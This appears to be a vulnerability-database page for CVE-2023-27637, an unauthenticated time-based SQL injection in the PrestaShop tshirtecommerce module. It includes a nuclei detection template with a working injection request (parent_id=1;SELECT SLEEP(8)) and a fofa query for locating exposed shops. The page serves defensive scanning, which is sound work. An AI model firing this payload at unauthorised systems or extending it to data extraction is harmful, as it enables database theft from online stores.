Browse / CVEs / CVE-2023-27637
CVE-2023-27637· tshirtecommerce / custom product designer· CWE-89
PrestaShop `tshirtecommerce` Module - SQL Injection
The tshirtecommerce module for PrestaShop is vulnerable to unauthenticated SQL injection via the designer endpoint, allowing attackers to execute arbitrary SQL queries and extract sensitive information from the database.
Impact
Unauthenticated attackers can execute time-based SQL injection through the parent_id parameter in the designer endpoint to extract the complete PrestaShop database including user credentials and order data.
Fix
Update the tshirtecommerce module to the latest version and apply all security patches.
How to confirm it
Send: @timeout: 30s
Positive when: duration>=8 and status_code == 200 and contains(tolower(body), 'product not found')Run it with nuclei: nuclei -id CVE-2023-27637 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2023-27637
info:
name: PrestaShop `tshirtecommerce` Module - SQL Injection
author: ritikchaddha
severity: critical
description: |
The tshirtecommerce module for PrestaShop is vulnerable to unauthenticated SQL injection via the designer endpoint, allowing attackers to execute arbitrary SQL queries and extract sensitive information from the database.
impact: |
Unauthenticated attackers can execute time-based SQL injection through the parent_id parameter in the designer endpoint to extract the complete PrestaShop database including user credentials and order data.
remediation: |
Update the tshirtecommerce module to the latest version and apply all security patches.
reference:
- https://security.friendsofpresta.org/module/2023/03/21/tshirtecommerce_cwe-89.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-27637
- https://codecanyon.net/item/prestashop-custom-product-designer/19202018
- https://tshirtecommerce.com/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-27637
cwe-id: CWE-89
epss-score: 0.03299
epss-percentile: 0.88617
cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:2.1.4:*:*:*:*:prestashop:*:*
metadata:
max-request: 1
vendor: tshirtecommerce
product: custom_product_designer
framework: prestashop
fofa-query: body="Prestashop" && body="tshirtecommerce"
tags: cve,cve2023,prestashop,tshirtecommerce,sqli,time-based-sqli,vkev,vuln
http:
- raw:
- |
@timeout: 30s
GET /module/tshirtecommerce/designer?product_id=900982561&parent_id=1;SELECT%20SLEEP(8); HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "duration>=8"
- "status_code == 200"
- "contains(tolower(body), 'product not found')"
condition: andReferences
- https://security.friendsofpresta.org/module/2023/03/21/tshirtecommerce_cwe-89.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-27637
- https://codecanyon.net/item/prestashop-custom-product-designer/19202018
- https://tshirtecommerce.com/
Use this check only on systems you are authorised to test. Where the data comes from